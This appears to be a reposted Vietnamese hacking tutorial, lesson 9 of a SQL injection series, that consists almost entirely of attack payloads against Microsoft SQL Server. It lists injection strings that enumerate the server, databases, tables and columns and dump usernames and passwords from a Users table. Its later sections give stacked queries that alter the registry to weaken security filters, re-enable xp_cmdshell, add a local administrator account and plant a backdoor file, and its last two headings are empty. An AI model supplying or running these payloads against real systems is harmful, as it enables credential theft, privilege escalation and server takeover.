Anken - Tổng hợp về SQL Injection (bài 9) - Y!m: This_Love_No1

Tổng hợp về SQL Injection (bài 9)

A. Khai thac thong tin ve SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1. Khai thac thong tin ve MS SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

' Thông tin về version của MS SQL

and 1=@@version--sp_password

'Thông tin về servername

and 1=@@servername--sp_password

'Thông tin về SERVICENAME

and 1=@@SERVICENAME--sp_password

'Thông tin về UID

and 1=system_user--sp_password

'Thông tin về PWD

?

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

2. Khai thac thong tin ve Database

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Thông tin về tên database

and 1=db_name()--sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

3. Khai thac thong tin ve Table

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin về Table

having 1=1--sp_password

'Khai thác thông tin về các Table

group by QUESTIONS.QUEST_ID having 1=1--sp_password

'Khai thác thông tin về Table

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--sp_password

'Khai thác thông tin về các Table

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('PRODUCTS')--sp_password

'Khai thác thông tin về Table

and 38=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

'Khai thác thông tin về các Table

and 38=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('PRODUCTS')))--sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

4. Khai thac thong tin ve Column

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin về Column

and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS')))--sp_password

'Khai thác thông tin về các Column

and 38=convert(int,(select top 1 column_name from information_schema.columns where table_name=('QUESTIONS') and column_name not in ('QUEST_ID')))--sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

5. Khai thac thong tin ve Content

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Khai thác thông tin với kiểu ngày giờ

and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat))--sp_password

'Khai thác thông tin dòng tiếp theo với kiểu ngày giờ

and 1=convert(char(20),(select top 1 NgayXuat from PhieuXuat where NgayXuat<>'Mar 12 2003 12:00AM '))--sp_password

'Khai thác thông tin về dòng đầu tiên

and 1=convert(int,(select top 1 userName+'/'+userPass from Users))--sp_password

'Khai thác thông tin dòng tiếp theo

and 1=convert(int,(select top 1 userName+'/'+userPass from Users where userName not in('admin')))--sp_password

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

6. Khai thac thong tin ve Table, Column, Content cua cac database tiep

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Chú ý:

để nhận biết kiểu của cột dữ liệu ta dùng "image" để kiểm tra:

-Nếu là trường kiểu ngày/giờ

Dùng: char,nchar,nvarchar,varchar

B. Upload backdoor lên host

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1. Xác định mức quyền và cho phép thực thi lệnh của MS SQL server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Xác định mức quyền

;select * from openrowset('sqloledb','';;,'')--

'Thay đổi mức quyền

;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','AllowInProcess',REG_DWORD,1--

;exec master..xp_regwrite HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\MSSQLServer \Providers\SQLOLEDB','DisallowAdhocAccess',REG_DWO RD,0--

'Xoá bỏ và khôi phục Log và firewall trong MS SQL

;exec master..xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters'--

;exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Ser vices\Tcpip\Parameters','EnableSecurityFilters',RE G_DWORD,0--

'Cho phép sử dụng MASTER..XP_CMDSHELL & ALLOW UPDATES

;select * from openrowset('sqloledb', 'server=Digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,''xpsql70.dll'' exec sp_configure ''allow updates'', ''1'' reconfigure with override')--

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

2. Do thám đưa thêm các thông tin

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Do tham IP của server và đưa vào bảng testip

;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'ipconfig'--

'Cộng thêm một quyền quản trị mới

;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"')-- (%26 == "&")

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

3. Đưa backdoor lên server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

'Upload backdoor lên server vào thư mục C:\WINDOWS\system32

;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "chube >>runfile.txt"')--

;select * from openrowset('sqloledb', 'server=digital;uid=BUILTIN\Administrators;pwd=', 'set fmtonly off select 1 exec master..xp_cmdshell "chube >>runfile.txt & hamhoc >>runfile.txt"')--

'Kiểm tra xem backdoor đã upload thành công chưa

;drop table testip create table testip(stt int identity,dcip varchar(1000)) insert into testip exec master..xp_cmdshell 'dir runfile.txt'--

C. Chạy backdoor trên server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

1. Xác nhận backdoor đã được kích hoạt

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

2. Chiếm toàn bộ quyền điều khiển server

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

fantomas311(VNISS)

Bạn đang đọc truyện trên: AzTruyen.Top